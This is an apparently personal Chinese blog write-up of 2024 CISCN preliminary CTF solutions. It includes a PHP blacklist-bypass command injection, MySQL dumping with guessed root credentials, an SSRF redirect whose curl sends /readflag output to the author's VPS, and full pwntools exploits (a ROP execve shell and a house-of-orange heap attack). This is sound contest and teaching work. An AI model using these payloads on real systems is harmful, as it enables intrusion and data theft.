Miracle
文章8
标签4
分类4

文章分类

文章归档

2024ciscn初赛WP

2024ciscn初赛WP

解题过程

Web

Simple_php

进去就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

一看这逆天正则,几乎把所有的命令都禁了,真nb啊,不过看了半天发现他的php的命令没过,并且-也没被过滤,所以就有可乘之机辣!!!

可以利用php -e命令来执行php代码

img

不过这个逆天正则把’和”都过滤了,以及一堆特殊符号

真别说,搜搜咋执行的时候找到了第12届国赛的题,有了思路

img

真帅吧,这操作,字符串转16进制的话会有字母,也就是这是一个字符串,需要单双引号,但是被禁用了,不过可以把他转成36进制,这样就不含字母了,这思路真nb

1
echo base_convert('ls', 36, 10);

可以用这个函数来转换字符串,

base_convert(1751504350,10,36)(base_convert(17523,10,36));这样的话就构造成了system(dir)

img

可以发现报错的最前面有个index.php,说明执行成功,完美~

不过base_convert这个函数有个缺陷只能构造出0-9,a-z,其他整不出来,有些可惜,不过思路打开了

其实如果想继续用这个构造的话可以搭配其他进制转换函数,不过构造会有点恶心.所以搜搜其他解法,

发现php有个特性,想要不带单双引号的整字符串的话,可以在它的前面加上下划线,这样就会被识别成字符串,所以就可以利用另一个进制转换函数hex2bin来构造执行命令了

直接利用php的bin2hex来字符串转成16进制即可

1
echo(bin2hex("system('cat /etc/passwd');"));

img

看根目录没flag,猜测可能在数据库里

img

/etc/passwd里面有mysql数据库,爆出root/root用户名密码

1
2
3
echo(bin2hex("echo `mysql -u root -p'root' -e 'show databases'`"));
echo(bin2hex("echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`"));
echo(bin2hex("echo `mysql -u root -p'root' -e 'use PHP_CMS;select* from F1ag_Se3Re7'`"));

img

easycms_revenge

看题目描述是昨天的easycms升级版,但最后好像也没升级啥。日,昨天找到了ssrf点,但没打通,可惜了

首先他是一个xunrui的cms,github上有他源码https://github.com/dayrui/xunruicms?tab=readme-ov-file

然后在第一天的cms里给了flag.php的源码

1
2
3
4
5
6
7
8
9
10
11
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

echo "Just input 'cmd' From 127.0.0.1";

return;

}else{

system($_GET['cmd']);

}

由于这个REMOTE_ADDR伪造不了,只能通过ssrf来打,之前vecctf有个类似的题,所以搜搜xunruicms的漏洞,看看有没有关于ssrf的.

img

还可以发现有个贵州cms和他洞差不多

img

可以看到他有个qrcode的ssrf,不过这个cnvd不公开,得自己审下源码

所以需要咱们down下来自己分析

img

,直接先搜搜qrcode,在这几个文件里来回审审

img

可以看到,在Helper这个文件里面存在着这个

1
index.php?s=api&c=api&m=qrcode&thumb='.urlencode($thumb).'&text='.urlencode($text).'&size='.$size.'&level='.$level;

看他上面注释也能知道这是个二维码调用的函数,然后再看他参数,基本都能被咱们控制,而且这个thumb参数是可以输入url远程调用二维码的,因此就给了咱们机会.可以实现SSRF!!!!

这样思路就清晰了,直接在自己vps上整个恶意文件,伪装成二维码,然后重定向到flag.php,再用cmd来执行命令,完美~~~~

构造恶意文件:

1
2
3
4
5
#define width 1000
#define height 1000
<?php
header("location:http://127.0.0.1/flag.php?cmd=curl http://59.110.28.63:6666/?id=`/readflag`");
?>

利用header来重定向到flag.php,接着通过curl来外带命令执行结果,再开个python http服务来接收即可.

http://eci-2ze4u7rbddg2d2cl58s7.cloudeci1.ichunqiu.com/index.php?s=api&c=api&m=qrcode&thumb=http://59.110.28.63/1.php&text=1&size=10&level=10

日,之前一直读的/flag,没有tmd

之后再好好看根目录才发现有个readflag,眼瞎了

img

flag{5fb5c22e-5667-47c3-9959-0fc6e43f483e}

Misc

大学生安全测试能力调研问卷

填就完事了

火锅链观光打卡

img

img

安装MetaMask,然后连接钱包,然后答题

img

然后搞7个以上,兑换flag

img

通风机

下载下来的文件是mwp文件

img

搜索发现是西门子的啥玩意,去官网下软件

然后就是西门子的,用STEP 7 MicroWIN SMART打开

但是没能成功打开,用010查看,发现文件头有误

补全文件头,然后就正常打开了

img

发现有备注信息,里面的内容是base64,解码得到flag

img

base64(没记错的话,大概率没记错)

Power Trajectory Diagram

让gpt写个读npz文件的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np

# 假设你的 .npz 文件名是 'data.npz'
filename = 'attachment.npz'

# 读取 .npz 文件
data = np.load(filename)

# 打印文件中包含的数组名称
print(data.files)

# 访问每个数组
for array_name in data.files:
print(f"{array_name}: {data[array_name]}")

通过input、index、trace的内容可以分析出,它大概有13组数据每组数据对应一幅图,有点类似键盘敲击的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import numpy as np

f = np.load('attachment.npz')
ip = f['input']
tr = f['trace']

result_indices = []

for i in range(13):
trace_slice = tr[i * 40:(i + 1) * 40]
input_slice = ip[i * 40:(i + 1) * 40]

min_indices = [np.argmin(trace) for trace in trace_slice]
max_variation_index = np.argmax(min_indices)
result_indices.append(input_slice[max_variation_index])

print(''.join(map(str, result_indices)))

神秘文件

将ppt文件转换为zip,文档打开找到,ppt信息里面也可以找到,懒得截图了

Part1:flag{e

img

img

(算了还是截了)

img

解密

part2:675efb

里面有个word,搞成zip解压

img

接着凯撒爆破base64

img

PArt3:3-34

alt+F11打开vba代码

img

问gpt是RC4(一直以为要写解密脚本!!!)

img

Payt4:6f-40

PPT给图片掀开

img

base64解密

img

pArt5:5f-90d

第五页ppt

img

多轮base64解密

img

ParT6:d-2

还是改为zip解压出来的题目里找到的

img

base64

img

PART7=22b3

img

img

img

paRt8:87e

密文在前面,这回真不截了

img

替换也有提示懒得截了

img

parT9:dee

还是那个文件夹里

img

解密

img

PARt10:9}

维吉尼亚 key也有懒得解了

img

Crypto

OvO

sage原文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
from secret import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)//128
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200 #高位攻击
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""

发现是e的高位攻击,然后搞出e与p的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes, inverse, GCD
from sage.all import PolynomialRing, Zmod, RealField, ZZ


def get_full_p(p_high, n, d_high, bits):
PR = PolynomialRing(Zmod(n), 'x')
x = PR.gen()
f = x + p_high
roots = f.small_roots(X=2 ** (bits + 4), beta=0.4)

if roots:
x0 = roots[0]
p = GCD(x0 + p_high, n)
return ZZ(p)
return None


def find_p_high(e, n, bits):
PR = PolynomialRing(RealField(1000), 'X')
X = PR.gen()
rr = e // n
kk = rr - 2
f = (kk + rr) * X ** 2 + (rr * (n + 1) + 65538) * X + rr * n - e * X
results = f.roots()

if results:
for root in results:
p_high = int(root[0]) >> 4 << 4
p = get_full_p(p_high, n, e, bits)
if p and str(p)[0] == '9':
return p
return None


def main():
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
p = find_p_high(e, n, 200)

if p:
q = n // p
print(f"p: {p}")
print(f"q: {q}")

rr = e // n
kk = rr - 2
new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
print(f"e: {new_e}")

phi_n = (p - 1) * (q - 1)
d = inverse(new_e, phi_n)
print(f"d: {d}")

m = pow(c, d, n)
decrypted_message = long_to_bytes(m)
print(f"flag: {decrypted_message}")
else:
pass


if __name__ == "__main__":
main()

# p: 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
# q: 11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
# e: 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226053225696381145049303216018329937626866082580192534109310743249
# d: 40562370691549621318549577950032175038658590691131469091909407935553676331176752570788349128822472320141028057032815128710763002566130430070603179406801031103153868717775020292889882861093052194287247276202665973400686789725153480640714911756153417332445558986048503928766869105149777013026905407852425839049
# flag: b'flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}'

古典密码

Atbash Cipher

img

加上lg傻傻的交了一遍,发现不对,看到了lg再去栅栏解密一下

img

Pwn

gostack

首先通过自动补全符号表来理解程序的结构和功能。接着,使用checksec工具检查可执行文件的安全特性,发现只开了NX,分析之后锁定溢出点

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding=utf-8 -*-
from pwn import *
from LibcSearcher import *
from struct import pack
import time
import random
from ctypes import *
fname = 'F:/betwen/题库/24国赛/gostack'
context(arch='amd64',os='linux')
elf = ELF(fname)
libc = elf.libc

rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
pl=lambda *args:print(*args)
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')

p = remote("8.147.128.251","44715")

def pwn():
syscall = 0x0000000000404043
rax_ret = 0x000000000040f984
rdi_6_ret = 0x00000000004a18a5
rsi_ret = 0x000000000042138a
rdx_ret = 0x00000000004944ec
ru('message :')
payload = b'a'*0x100+p64(elf.bss())+p64(0x10)+p64(0)*0x18
payload += p64(rdi_6_ret)+p64(0)*6+p64(rsi_ret)+p64(elf.bss()+0x200)+p64(rdx_ret)+p64(0x100)+p64(rax_ret)+p64(0)+p64(syscall)
payload += p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5
payload += p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5
payload += p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(rax_ret)+p64(59)+p64(syscall)
sl(payload)
input()
sd('/bin/sh\x00')
ia()

pwn()

orange_cat_diary

house of orange free出一个unsorted chunk,然后泄露libc地址,用use after free劫持malloc hook即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level='debug'
p=remote("8.147.133.230","33569")
libc=ELF('F:\pwn\libc-2.23.so')

def choice(i):
p.sendlineafter('choice:',str(i))

def add(size,content):
choice(1)
p.sendlineafter('content:',str(size))
p.sendafter('content:',content)
def edit(size,content):
choice(4)
p.sendlineafter('content:',str(size))
p.sendafter('content:',content)

p.sendafter('name.','adadawdawdawfwewfwe')

add(0x68,b'a')
edit(0x70,b'a'*0x68+p64(0x0f91))
add(0x1000,b'a')
add(0x18,b'a'*8)
choice(2)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-1640-0x10-libc.sym['__malloc_hook']
success('libc_addr: '+hex(libc_addr))
one=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0x68,b'a')
choice(3)
edit(0x10,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
add(0x68,b'a')
add(0x68,b'a'*(0x13)+p64(libc_addr+one[2]))


choice(1)
p.sendlineafter('content:',str(0x20))
p.interactive()

Reverse

asm_re

一开始还想还原这个ida工程文件hhh,发现根本做不到,后面纯看arm汇编代码,直接手撕就好,加密逻辑在这儿,密文一开始还找半天,后面发现应该是存在变量unk_100003F10里面

img

搓出脚本之后也还是卡了一小会儿,最后反应过来大小端的问题,改一下小端就好了,爆破一下直接出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
k = [
0x1fd7, 0x21b7, 0x1e47, 0x2027, 0x26e7, 0x10d7, 0x1127, 0x2007,
0x11c7, 0x1e47, 0x1017, 0x1017, 0x11f7, 0x2007, 0x1037, 0x1107,
0x1f17, 0x10d7, 0x1017, 0x1017, 0x1f67, 0x1017, 0x11c7, 0x11c7,
0x1017, 0x1fd7, 0x1f17, 0x1107, 0x0f47, 0x1127, 0x1037, 0x1e47,
0x1037, 0x1fd7, 0x1107, 0x1fd7, 0x1107, 0x2787
]

for i in range(len(k)):
for j in range(128):
if (((j * ord('P') + 0x14) ^ ord('M')) + 0x1e) == k[i]:
print(chr(j), end="")
#flag{67e9a228e45b622c2992fb5174a4f5f5}

whereThel1b

还真是第一次遇见这种,给了个so和一个py文件,一开始的想法是能不能给so解包之类的,因为py文件里面密文给了,就差一个加密逻辑,找了一大圈还是没找到,最后还是想到了调一下so文件,像调安卓那样

动调起来锁定出了两个函数,得知输入的数据先经过base64编码之后再进行的异或img

img

加密逻辑知道了,但是不知道异或的值是什么,一开始以为是存在r18里面的,最后调了一下找不到规律,最后想到重新写一份密文输入,然后把加密之后的数据输出一下,前后异或得到所需异或的值,想办法输入一个输构造出经过base64编码之后长度为56的数

img

exp:

其中aa是上图构造的“55555555555555555555555555555555555555555555”的base64之后的值,然后bb是运行上图之后得到的异或之后的值,最后运行出来的结果解一下base64就行

1
2
3
4
5
6
7
8
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

aa = [78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49,78,84,85,49]
bb = [120, 76, 101, 9, 84, 86, 69, 17, 81, 77, 103, 4, 93, 74, 67, 20, 67, 116, 93, 35, 70, 100, 83, 22, 125, 68, 119, 28, 125, 114, 92, 34, 72, 122, 81, 7, 101, 65, 75, 18, 72, 66, 78, 37, 105, 124, 88, 18, 80, 72, 98, 16, 94, 87, 102, 18]

for i in range(len(aa)):
print(chr(((aa[i]^bb[i]))^encry[i]),end='')
#ZmxhZ3s3ZjlhMmQzYy0wN2RlLTExZWYtYmU1ZS1jZjFlODg2NzRjMGJ9

img

gdb_debug

进入主函数之后逻辑还是相当清楚的,锁定了一下伪随机数

img

动调跑起来取出随机数

1
0xd9, 0x0f, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xbe, 0xf8, 0x4A, 0x65, 0xf2, 0x5D, 0xab, 0x74, 0x33, 0xd4, 0xa5, 0x67, 0x98, 0x9f, 0x7E, 0x2B, 0x5D, 0xc2, 0xaf, 0x8e, 0x3A, 0x4C, 0xa5, 0X75, 0X25, 0xb4, 0x8d, 0xe3, 0X7B, 0xa3, 0x64

然后直接从后往前逆就好

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>

int main() {
int indexArray[38];
int buffer[38];
int outputBuffer[38];
int originalNumbers[] = {
94, 30, 2, 68, 157, 32, 134, 99, 227, 214,
182, 105, 24, 193, 153, 168, 188, 5, 121, 159,
25, 110, 218, 76, 117, 174, 192, 185, 247, 122,
149, 77, 23, 135, 148, 84, 191, 185
};
unsigned char byteSequence[] = {
128, 180, 64, 184, 148, 200, 52, 101, 238, 69,
215, 157, 60, 136, 140, 169, 107, 174, 125, 135,
214, 135, 15, 218, 70, 100, 57, 147, 169, 144,
184, 113, 131, 232, 172, 201, 231, 83
};
unsigned int shuffledIndices[38];
for (int i = 0; i < 38; i++) {
shuffledIndices[i] = originalNumbers[i] ^ byteSequence[i];
}
int encryptionKeys[] = {0xd9, 0x0f, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xbe, 0xf8, 0x4A, 0x65, 0xf2, 0x5D, 0xab, 0x74, 0x33, 0xd4, 0xa5, 0x67, 0x98, 0x9f, 0x7E, 0x2B, 0x5D, 0xc2, 0xaf, 0x8e, 0x3A, 0x4C, 0xa5, 0x75, 0x25, 0xb4, 0x8d, 0xe3, 0x7B, 0xa3, 0x64};
int permutationOrder[] = {33, 0, 10, 0, 32, 31, 10, 29, 9, 24, 26, 11, 20, 24, 21, 3, 12, 10, 13, 2, 15, 4, 13, 10, 8, 3, 3, 6, 0, 4, 1, 1, 5, 4, 0, 0, 1};
unsigned char dataXor[] = {0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78};
char inputData[] = "congratulationstoyoucongratulationstoy";

for (int i = 0; i < 38; i++) {
indexArray[i] = i;
}
for (int k = 37; k > 0; --k) {
int swapIndex = permutationOrder[37 - k] % (k + 1);
int tempIndex = indexArray[k];
indexArray[k] = indexArray[swapIndex];
indexArray[swapIndex] = tempIndex;
}
for (int i = 0; i < 38; i++) {
buffer[i] = shuffledIndices[i] ^ inputData[i] ^ dataXor[i];
outputBuffer[indexArray[i]] = encryptionKeys[indexArray[i]] ^ buffer[i];
}
for (int i = 0; i < 38; i++) {
printf("%c", outputBuffer[i]);
}
return 0;
}